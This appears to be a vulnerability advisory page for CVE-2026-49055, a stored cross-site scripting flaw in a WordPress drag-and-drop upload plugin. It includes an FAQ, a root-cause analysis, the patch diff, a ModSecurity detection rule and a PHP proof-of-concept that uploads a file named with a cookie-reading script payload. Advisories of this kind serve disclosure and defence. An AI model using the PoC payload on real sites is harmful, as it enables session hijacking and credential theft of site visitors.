What is CVE-2026-49055?

CVE-2026-49055 is a high-severity stored Cross-Site Scripting (XSS) vulnerability in the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress. It allows unauthenticated attackers to inject arbitrary scripts into web pages that execute when users access those pages.

Who is affected by this vulnerability?

Any WordPress site using the Drag and Drop Multiple File Upload for Contact Form 7 plugin version 1.3.9.7 or earlier is affected. Administrators should check their plugin versions and update if they are running a vulnerable version.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the plugins section in your WordPress admin dashboard. Look for the Drag and Drop Multiple File Upload for Contact Form 7 plugin and verify its version against the known vulnerable version, which is 1.3.9.7 or earlier.

How can I fix CVE-2026-49055?

The vulnerability can be fixed by updating the Drag and Drop Multiple File Upload for Contact Form 7 plugin to version 1.3.9.8 or later. Ensure to regularly check for updates to maintain security.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity vulnerability. This means that the vulnerability poses a significant risk to the security of affected systems, potentially allowing attackers to execute scripts without authentication.

What are the practical risks of this vulnerability?

If exploited, this vulnerability could allow attackers to execute arbitrary JavaScript in the browsers of users visiting affected pages, leading to session hijacking, credential theft, or redirection to malicious sites.

What is stored Cross-Site Scripting (XSS)?

Stored XSS is a type of security vulnerability that allows attackers to inject malicious scripts into content that is stored on the server. When users access the affected content, the scripts execute in their browsers, potentially compromising user data.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC demonstrates the vulnerability by showing how an attacker can upload a file with a malicious filename containing a JavaScript payload. This payload executes when the file is accessed, illustrating the lack of input sanitization.

What measures were taken in the patch?

The patch for CVE-2026-49055 includes several security enhancements: it adds input sanitization for settings, escapes output to prevent script execution, and improves file name validation to restrict dangerous characters and extensions.

Can I mitigate the risk if I cannot update immediately?

If immediate updates are not possible, consider disabling the plugin until it can be updated. Additionally, review user permissions and restrict access to the plugin settings to limit potential exploitation.

What should I do if I suspect my site has been compromised?

If you suspect your site has been compromised, immediately update the plugin, conduct a security audit, and check for unauthorized changes or scripts. It may also be necessary to restore from a clean backup and change passwords.

Is there a way to automate plugin updates?

Yes, WordPress allows you to enable automatic updates for plugins. This can be done in the plugin settings or via code in the site’s functions.php file, helping to ensure that vulnerabilities are patched promptly.

Published : June 21, 2026

CVE-2026-49055: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.7 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-49055

Plugin drag-and-drop-multiple-file-upload-contact-form-7

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 1.3.9.7

Patched Version 1.3.9.8

Disclosed June 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49055:
This vulnerability affects the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress, versions up to and including 1.3.9.7. It is an unauthenticated stored Cross-Site Scripting (XSS) vulnerability with a CVSS score of 7.2. The vulnerability allows attackers to inject arbitrary web scripts that execute when a user accesses an injected page.

The root cause is insufficient input sanitization and output escaping in multiple code paths within the file `drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php`. The plugin stores user-defined settings (e.g., upload text, error messages) via the `dndmfu_settings` option array. These settings are retrieved using the `dnd_cf7_settings()` function and then output directly into JavaScript data options (lines 557-590) or into admin settings pages. Critically, the `register_setting()` call on line 1442 lacked a sanitization callback before the patch. This allowed unauthenticated attackers to inject malicious scripts into these text fields. Additionally, the file upload handler (lines 896-986) did not properly validate file names for non-ASCII characters or strip emoji/script-like sequences before saving, and the blacklist of forbidden extensions (function `dnd_cf7_not_allowed_ext()`, line 1186) was incomplete, missing `svgz` and `htaccess`.

Exploitation requires no authentication. An attacker can send a crafted POST request to `/wp-admin/admin-ajax.php` with an action parameter matching the plugin’s AJAX handler (e.g., `dnd-cf7-upload`) and a manipulated file name containing JavaScript (e.g., `alert(‘XSS’).png`) or upload a file with a previously allowed but dangerous extension (e.g., `.svgz`). Alternatively, the attacker could exploit the lack of sanitization on the `dndmfu_settings` option by directly setting it via `register_setting` before the patch, though this requires admin-level access. The stored XSS payload would then execute in the context of any user viewing the affected page or admin settings.

The patch implements multiple security layers: (1) Added a sanitization callback `dnd_cf7_sanitize` to `register_setting` (line 1442+), which runs `sanitize_text_field()` on each setting value. (2) Wrapped all text outputs in `esc_html()` or `esc_html__()` throughout the file (e.g., lines 248-258, 560-568, 740, 742, 967, 970, 986, 1005). (3) Added a check for ASCII/non-emoji characters in the file name via `dnd_cf7_check_ascii()` (line 937). (4) Moved `dnd_cf7_remove_icons()` before `wpcf7_antiscript_file_name()` (lines 986-988) to strip emoji before sanitizing. (5) Added `svgz` and `htaccess` to the forbidden extension blacklist (line 1189). (6) Strengthened the `.htaccess` deny rule to block more executable file types (line 110). Before the patch, unsanitized settings were directly interpolated into JavaScript, allowing arbitrary script execution.

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who views a page containing the uploaded file (e.g., a contact form submission page) or the plugin’s admin settings. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Given the high CVSS score and lack of authentication requirement, this poses a significant risk to any site running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
@@ -6,7 +6,7 @@
 	* Description: This simple plugin create Drag & Drop or choose Multiple File upload in your Confact Form 7 Forms.
 	* Text Domain: drag-and-drop-multiple-file-upload-contact-form-7
 	* Domain Path: /languages
-	* Version: 1.3.9.7
+	* Version: 1.3.9.8
 	* Author: Glen Don L. Mongaya
 	* Author URI: http://codedropz.com
 	* License: GPL2
@@ -21,7 +21,7 @@
 	define( 'dnd_upload_cf7', true );

 	/**  Define plugin Version */
-	define( 'dnd_upload_cf7_version', '1.3.9.7' );
+	define( 'dnd_upload_cf7_version', '1.3.9.8' );

 	/**  Define constant Plugin Directories  */
 	define( 'dnd_upload_cf7_directory', untrailingslashit( dirname( __FILE__ ) ) );
--- a/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
@@ -110,7 +110,7 @@
 					fwrite(
 						$handle,
 						"Options -Indexesnn" .
-						"<FilesMatch ".(php|phar)$">n" .
+						"<FilesMatch ".(php|phtml|phar|phpd*|cgi|pl|py|jsp|asp|aspx|sh|bash|exe|dll)$">n" .
 						"# Apache 2.4n" .
 						"  <IfModule authz_core_module>n" .
 						"    Require all deniedn" .
@@ -191,7 +191,7 @@
 	}

 	// Modify contact form posted_data
-	function dnd_wpcf7_posted_data( $posted_data ){
+	function dnd_wpcf7_posted_data( $posted_data ) {

 		// Subbmisson instance from CF7
 		$submission = WPCF7_Submission::get_instance();
@@ -229,7 +229,7 @@

 	// Hooks for admin settings
 	function dnd_admin_settings() {
-		add_submenu_page( 'wpcf7', __( 'Drag & Drop Uploader - Settings', 'drag-and-drop-multiple-file-upload-contact-form-7' ), __( 'Drag & Drop Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ), 'manage_options', 'drag-n-drop-upload','dnd_upload_admin_settings');
+		add_submenu_page( 'wpcf7', esc_html__( 'Drag & Drop Uploader - Settings', 'drag-and-drop-multiple-file-upload-contact-form-7' ), esc_html__( 'Drag & Drop Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ), 'manage_options', 'drag-n-drop-upload','dnd_upload_admin_settings');
 		add_action('admin_init','dnd_upload_register_settings');
 	}

@@ -245,18 +245,18 @@

 		// Array of default error message
 		$errors = array(
-			'server_limit'		=>	__('The uploaded file exceeds the maximum upload size of your server.','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'failed_upload'		=>	__('Uploading a file fails for any reason','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'large_file'		=>	__('Uploaded file is too large','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'invalid_type'		=>	__('Uploaded file is not allowed for file type','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'max_file_limit'	=>	__('Note : Some of the files are not uploaded ( Only %count% files allowed )','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'required'			=>	__('This field is required.', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
-			'min_file'			=>	__('The minimum file upload is','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'server_limit'	 =>	esc_html__('The uploaded file exceeds the maximum upload size of your server.','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'failed_upload'	 =>	esc_html__('Uploading a file fails for any reason','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'large_file'	 =>	esc_html__('Uploaded file is too large','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'invalid_type'	 =>	esc_html__('Uploaded file is not allowed for file type','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'max_file_limit' =>	esc_html__('Note : Some of the files are not uploaded ( Only %count% files allowed )','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'required'		 =>	esc_html__('This field is required.', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+			'min_file'		 =>	esc_html__('The minimum file upload is','drag-and-drop-multiple-file-upload-contact-form-7'),
 		);

 		// return error message based on $error_key request
 		if( isset( $errors[ $error_key ] ) ) {
-			return $errors[ $error_key ];
+			return esc_html( $errors[ $error_key ] );
 		}

 		return false;
@@ -557,28 +557,29 @@
 			return;
 		}

-		// enque script (Use native Javascript or jQuery)
-        if( dnd_cf7_settings('drag_n_drop_use_jquery') == 'yes' ){
+		// [Removed @since 1.3.9.8]
+        /*if( dnd_cf7_settings('drag_n_drop_use_jquery') == 'yes' ){
             wp_enqueue_script( 'codedropz-uploader', plugins_url ('/assets/js/codedropz-uploader-jquery.js', dirname(__FILE__) ), array('jquery','contact-form-7'), $version, true );
-        }else{
-            wp_enqueue_script( 'codedropz-uploader', plugins_url ('/assets/js/codedropz-uploader-min.js', dirname(__FILE__) ), '', $version, true );
-        }
+        }*/
+
+		// Enque Native javascript
+		wp_enqueue_script( 'codedropz-uploader', plugins_url ('/assets/js/codedropz-uploader-min.js', dirname(__FILE__) ), '', $version, true );

         // All data options
         $data_options = apply_filters('dnd_cf7_data_options',
             array(
                 'tag'				=>	( dnd_cf7_settings('drag_n_drop_heading_tag') ?: 'h3' ),
-                'text'				=>	( dnd_cf7_settings('drag_n_drop_text') ?: __('Drag & Drop Files Here','drag-and-drop-multiple-file-upload-contact-form-7') ),
-                'or_separator'		=>	( dnd_cf7_settings('drag_n_drop_separator') ?: __('or','drag-and-drop-multiple-file-upload-contact-form-7') ),
-                'browse'			=>	( dnd_cf7_settings('drag_n_drop_browse_text') ?: __('Browse Files','drag-and-drop-multiple-file-upload-contact-form-7') ),
-                'server_max_error'	=>	( dnd_cf7_settings('drag_n_drop_error_server_limit') ?: dnd_cf7_error_msg('server_limit') ),
-                'large_file'		=>	( dnd_cf7_settings('drag_n_drop_error_files_too_large') ?: dnd_cf7_error_msg('large_file') ),
-                'inavalid_type'		=>	( dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type') ),
-                'max_file_limit'	=>	( dnd_cf7_settings('drag_n_drop_error_max_file') ?: dnd_cf7_error_msg('max_file_limit') ),
+                'text'				=>	( esc_html( dnd_cf7_settings('drag_n_drop_text') ) ?: esc_html__('Drag & Drop Files Here','drag-and-drop-multiple-file-upload-contact-form-7') ),
+                'or_separator'		=>	( esc_html( dnd_cf7_settings('drag_n_drop_separator') ) ?: esc_html__('or','drag-and-drop-multiple-file-upload-contact-form-7') ),
+                'browse'			=>	( esc_html( dnd_cf7_settings('drag_n_drop_browse_text') ) ?: esc_html__('Browse Files','drag-and-drop-multiple-file-upload-contact-form-7') ),
+                'server_max_error'	=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_server_limit') ) ?: dnd_cf7_error_msg('server_limit') ),
+                'large_file'		=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_files_too_large') ) ?: dnd_cf7_error_msg('large_file') ),
+                'inavalid_type'		=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') ),
+                'max_file_limit'	=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_max_file') ) ?: dnd_cf7_error_msg('max_file_limit') ),
                 'required'			=>	dnd_cf7_error_msg('required'),
                 'delete'			=>	array(
-                    'text'		=>	__('deleting','drag-and-drop-multiple-file-upload-contact-form-7'),
-                    'title'		=>	__('Remove','drag-and-drop-multiple-file-upload-contact-form-7')
+                    'text'		=>	esc_html__('deleting','drag-and-drop-multiple-file-upload-contact-form-7'),
+                    'title'		=>	esc_html__('Remove','drag-and-drop-multiple-file-upload-contact-form-7')
                 )
             )
         );
@@ -589,7 +590,7 @@
 				'ajax_url' 				=> 	apply_filters( 'dnd_cf7_ajax_url', admin_url( 'admin-ajax.php' ) ),
 				'ajax_nonce'			=>	wp_create_nonce( "dnd-cf7-security-nonce" ),
 				'drag_n_drop_upload' 	=>  $data_options,
-				'dnd_text_counter'	=>	__('of','drag-and-drop-multiple-file-upload-contact-form-7'),
+				'dnd_text_counter'	=>	esc_html__('of','drag-and-drop-multiple-file-upload-contact-form-7'),
 				'disable_btn'		=>	( dnd_cf7_settings('drag_n_drop_disable_btn') == 'yes' ? true : false )
 			)
 		);
@@ -740,7 +741,7 @@

         // Check minimum upload
 		if( $multiple_files && count( $multiple_files ) < (int) $min_file ) {
-			$min_file_error = ( dnd_cf7_settings('drag_n_drop_error_min_file') ?: dnd_cf7_error_msg('min_file') );
+			$min_file_error = ( esc_html( dnd_cf7_settings('drag_n_drop_error_min_file') ) ?: dnd_cf7_error_msg('min_file') );
 			$result->invalidate( $tag, $min_file_error .' '. (int)$min_file );
 			return $result;
 		}
@@ -783,13 +784,13 @@
 		if ( version_compare( WPCF7_VERSION, '6.0', '>=' ) ) {
 			$tag_generator->add(
 				'upload-file',
-				__( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				esc_html__( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
 				'dnd_upload_cf7_tag_generator_file_v2',
 				array( 'version' => '2' )
 			);
 		} else {
 			$tag_generator->add(
-				'upload-file', __( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				'upload-file', esc_html__( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
 				'dnd_upload_cf7_tag_generator_file'
 			);
 		}
@@ -800,9 +801,9 @@

 		$field_types = array(
 			'mfile' => array(
-				'display_name' => __( 'Drag & Drop Multiple File Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
-				'heading'      => __( 'Drag & Drop File Upload Field - Form-tag Generator', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
-				'description'  => __( 'Generate a form-tag for a "drag & drop multiple file upload" field.', 'drag-and-drop-multiple-file-upload-contact-form-7' )
+				'display_name' => esc_html__( 'Drag & Drop Multiple File Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				'heading'      => esc_html__( 'Drag & Drop File Upload Field - Form-tag Generator', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				'description'  => esc_html__( 'Generate a form-tag for a "drag & drop multiple file upload" field.', 'drag-and-drop-multiple-file-upload-contact-form-7' )
 			),
 		);

@@ -821,8 +822,8 @@
 		// Our multiple upload field
 		$type = 'mfile';

-		$description = __( "Generate a form-tag for a file uploading field. For more details, see %s.", 'contact-form-7' );
-		$desc_link   = wpcf7_link( __( 'https://contactform7.com/file-uploading-and-attachment/', 'contact-form-7' ), __( 'File Uploading and Attachment', 'contact-form-7' ) );
+		$description = esc_html__( "Generate a form-tag for a file uploading field. For more details, see %s.", 'contact-form-7' );
+		$desc_link   = wpcf7_link( esc_html__( 'https://contactform7.com/file-uploading-and-attachment/', 'contact-form-7' ), esc_html__( 'File Uploading and Attachment', 'contact-form-7' ) );

 		// Load v1 form generator template.
 		include dnd_upload_cf7_directory . '/admin/form-generator-v1.php';
@@ -896,12 +897,12 @@
             wp_send_json_error('The security nonce is invalid or expired.');
         }

-        // Get blacklist Types (marge default not allowed ext and user defined option)
+        // Get blacklist Types (merge default "not allowed" extensions and "user defined" option)
 		$blacklist_types = dnd_cf7_not_allowed_ext();
 		if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
 			$blacklist_option = explode( '|', $blacklist["$cf7_upload_name"] );
 			$custom_blacklist = array_filter( array_map( 'trim', $blacklist_option ) );
-			$blacklist_types  = array_unique( array_merge( $blacklist_types, $custom_blacklist ) );
+			$blacklist_types  = array_unique( array_merge( $blacklist_types, $custom_blacklist ) ); // merge and filter defined blacklist types and user input.
 		}

 		// Get upload dir
@@ -920,7 +921,7 @@
 		// Tells whether the file was uploaded via HTTP POST
 		if ( ! is_uploaded_file( $tmp_file ) ) {
 			$failed_error = dnd_cf7_settings('drag_n_drop_error_failed_to_upload');
-			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? $failed_error : dnd_cf7_error_msg('failed_upload') ) );
+			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? esc_html( $failed_error ) : dnd_cf7_error_msg('failed_upload') ) );
 		}

 		/* Get allowed extension */
@@ -934,18 +935,29 @@
 		$filename = wpcf7_canonicalize( $filename, 'as-is' );
 		$filename = sanitize_file_name( $filename ); // sanitize filename

+		// Validate if not ascii then will send an error.
+		if ( ! dnd_cf7_check_ascii( $filename ) ) {
+			wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') );
+		}
+
 		// Check unique name
         $filename = wp_unique_filename( $path['upload_dir'], $filename );

+		// Add filter on upload file name.
+		$filename = apply_filters( 'wpcf7_upload_file_name', $filename,	$file['name'] );
+
+		// Stipped icons from the filename.
+		$filename = dnd_cf7_remove_icons( $filename );
+
 		// Get file extension
         $extension = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );

         // Validate File Types (if supported type is set to "*")
 		if ( $supported_type == '*' ) {
 			$file_type          = wp_check_filetype( $filename );
-			$not_allowed_ext    = array( 'phar', 'svg', 'php', 'php3','php4', 'pht', 'phtml', 'php5', 'php7', 'php8' ); // not allowed file type.
+			$not_allowed_ext    = array( 'phar', 'svg', 'svgz', 'php', 'php3','php4', 'pht', 'phtml', 'php5', 'php7', 'php8', 'htaccess' ); // not allowed file type.
 			$type_ext           = ( $file_type['ext'] !== false ? strtolower( $file_type['ext'] ) : $extension );
-			$error_invalid_type = dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type');
+			$error_invalid_type = esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type');

 			if ( ! empty( $blacklist_types ) && in_array( $type_ext, $blacklist_types, true ) ) {
 				wp_send_json_error( $error_invalid_type );
@@ -956,7 +968,7 @@

 		// validate file type
 		if ( ( ! preg_match( $file_type_pattern, $filename ) || ! dnd_cf7_validate_type( $extension, $supported_type ) ) && $supported_type != '*' ) {
-		    wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type') );
+		    wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') );
 		}

         // validate mime type
@@ -974,18 +986,17 @@
                 $valid_mimes = explode('|', $supported_type); // array[png, jpg]

                 if ( empty( $wp_filetype['type'] ) || empty( $wp_filetype['ext'] ) || ! in_array( $wp_filetype['ext'], $valid_mimes ) ){
-                    wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type') );
+                    wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') );
                 }
             }
         }

 		// validate file size limit
 		if ( isset( $size_limit["$cf7_upload_name"] ) && $file['size'] > $size_limit["$cf7_upload_name"] ) {
-			wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_files_too_large') ?: dnd_cf7_error_msg('large_file') );
+			wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_files_too_large') ) ?: dnd_cf7_error_msg('large_file') );
 		}

-		// Remove icons from the filename and add anti-script filename.
-		$filename = dnd_cf7_remove_icons( $filename );
+		// add anti-script filename.
 		$filename = wpcf7_antiscript_file_name( $filename );

 		// Randomize filename.
@@ -994,16 +1005,13 @@
 			$filename    = sanitize_file_name( $random_name .'.'. $extension );
 		}

-		// Add filter on upload file name.
-		$filename = apply_filters( 'wpcf7_upload_file_name', $filename,	$file['name'] );
-
 		// Generate new path + filename.
 		$new_file = path_join( $path['upload_dir'], $filename );

 		// Upload File
 		if ( false === move_uploaded_file( $tmp_file, $new_file ) ) {
 			$failed_error = dnd_cf7_settings('drag_n_drop_error_failed_to_upload');
-			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? $failed_error : dnd_cf7_error_msg('failed_upload') ) );
+			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? esc_html( $failed_error ) : dnd_cf7_error_msg('failed_upload') ) );
 		} else {

 			// Get folder uuid from the path/dir.
@@ -1069,18 +1077,17 @@
 	}

 	// Check if a string is ASCII.
-	function dnd_cf7_check_ascii( $string ) {
-		$string = sanitize_file_name( $string );
-
-		if ( function_exists( 'mb_check_encoding' ) ) {
-			if ( mb_check_encoding( $string, 'ASCII' ) ) {
-				return true;
-			}
-		} elseif ( ! preg_match( '/[^x00-x7F]/', $string ) ) {
-			return true;
+	function dnd_cf7_check_ascii( $filename ) {
+		// If the filename is empty, return false
+		if ( empty( $filename ) ) {
+			return false;
 		}

-		return false;
+		// These are ALL allowed character groups while rejecting emoji.
+		$pattern = '/^[[:ascii:]p{L}p{N}p{M}p{Z}p{P}p{Sc}]+$/u';
+
+		// Returns true if it only contains allowed characters, false if it hits an emoji/weird symbol
+		return (bool) preg_match( $pattern, $filename );
 	}

 	// Delete file
@@ -1186,7 +1193,7 @@

 	// list of not allowed extensions.
 	function dnd_cf7_not_allowed_ext() {
-		return array( 'html', 'svg', 'phar', 'php', 'php3','php4','pht', 'php5', 'php7', 'php8', 'xhtml','shtml', 'mhtml', 'dhtml', 'phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+		return array( 'html', 'svg', 'svgz', 'phar', 'php', 'php3','php4','pht', 'php5', 'php7', 'php8', 'xhtml','shtml', 'mhtml', 'dhtml', 'phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
 	}

 	// Add more validation for file extension
@@ -1325,7 +1332,10 @@
 					</tr>
 					<tr valign="top">
 						<th scope="row"><?php esc_html_e('Minimum File','drag-and-drop-multiple-file-upload-contact-form-7'); ?></th>
-						<td><input type="text" name="dndmfu_settings[drag_n_drop_error_min_file]" class="regular-text" value="<?php echo esc_attr( dnd_cf7_settings('drag_n_drop_error_min_file') ); ?>" /></td>
+						<td>
+							<input type="text" name="dndmfu_settings[drag_n_drop_error_min_file]" class="regular-text" value="<?php echo esc_attr( dnd_cf7_settings('drag_n_drop_error_min_file') ); ?>" />
+							<p class="description">Default: `<?php esc_html_e( 'Minimum number of files required is {minimum}', 'drag-and-drop-multiple-file-upload-contact-form-7' ); ?>`</p>
+						</td>
 					</tr>
 				</table>

@@ -1355,9 +1365,9 @@
 					</tr>
 				</table>

-                <h2><?php esc_html_e('Use jQuery','drag-and-drop-multiple-file-upload-contact-form-7'); ?></h2>
+                <h2 style="display:none"><?php esc_html_e('Use jQuery','drag-and-drop-multiple-file-upload-contact-form-7'); ?></h2>

-				<table class="form-table">
+				<table class="form-table" style="display:none;">
 					<tr valign="top">
 						<th scope="row"><?php esc_html_e('Enable jQuery','drag-and-drop-multiple-file-upload-contact-form-7'); ?></th>
 						<td><input type="checkbox" name="dndmfu_settings[drag_n_drop_use_jquery]" value="yes" <?php checked('yes', dnd_cf7_settings('drag_n_drop_use_jquery')); ?>> Yes <p class="description"><em>Activate this option in case there are any problems with our plugin when utilizing native Javascript.</em></p></td>
@@ -1442,7 +1452,26 @@
 		}

 		// Save option
-		register_setting( 'drag-n-drop-upload-file-cf7', 'dndmfu_settings',  array( 'type' => 'array' ));
+		register_setting(
+			'drag-n-drop-upload-file-cf7',
+			'dndmfu_settings',
+			array(
+				'type' => 'array',
+				'sanitize_callback' => 'dnd_cf7_sanitize'
+			)
+		);
+
+	}
+
+	// Sanitize text field
+	function dnd_cf7_sanitize( $fields ) {
+		$sanitized = array();
+
+		foreach( $fields as $i => $field ) {
+			$sanitized[$i] = sanitize_text_field( $field );
+		}
+
+		return $sanitized;
 	}

 	// Get admin option settings

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20264901,phase:2,deny,status:403,chain,msg:CVE-2026-49055 XSS via Drag and Drop File Upload AJAX,severity:CRITICAL,tag:CVE-2026-49055"
SecRule ARGS_POST:action "@streq dnd-cf7-upload" "chain"
SecRule FILES_NAMES "@rx <script[^>]*>" "t:lowercase,t:urlDecodeUni,t:removeNulls,chain"
SecRule FILES_NAMES "@rx alert" "t:lowercase,t:urlDecodeUni,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49055 - Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.7 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$plugin_ajax_action = 'dnd-cf7-upload'; // AJAX action for file upload

// Generate a malicious filename with XSS payload
// The payload will be stored in the file name and executed when the file is viewed
$xss_payload = '<script>alert(document.cookie)</script>';
$malicious_filename = $xss_payload . '.png'; // Append a valid extension to bypass simple checks

// Step 1: Prepare the multipart form data with the malicious filename
$file_data = array(
    'action' => $plugin_ajax_action,
    'dnd-upload-cf7' => '1', // Example form ID, may need adjustment
    'cf7_upload_file' => new CURLFile(
        'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==', // Dummy PNG
        'image/png',
        $malicious_filename
    )
);

// Step 2: Initialize cURL and send the request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: multipart/form-data'));

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Response from server:n";
    print_r(json_decode($response, true));
}
curl_close($ch);

// Note: The proof-of-concept relies on the vulnerable plugin version not having the ASCII/emoji check.
// In practice, the payload filename will be stored and displayed by the plugin's shortcode or admin UI.
// The attacker could also exploit the lack of sanitization in admin settings via direct `register_setting` manipulation if they have access.
?>

Frequently Asked Questions

What is CVE-2026-49055?
Understanding the vulnerability
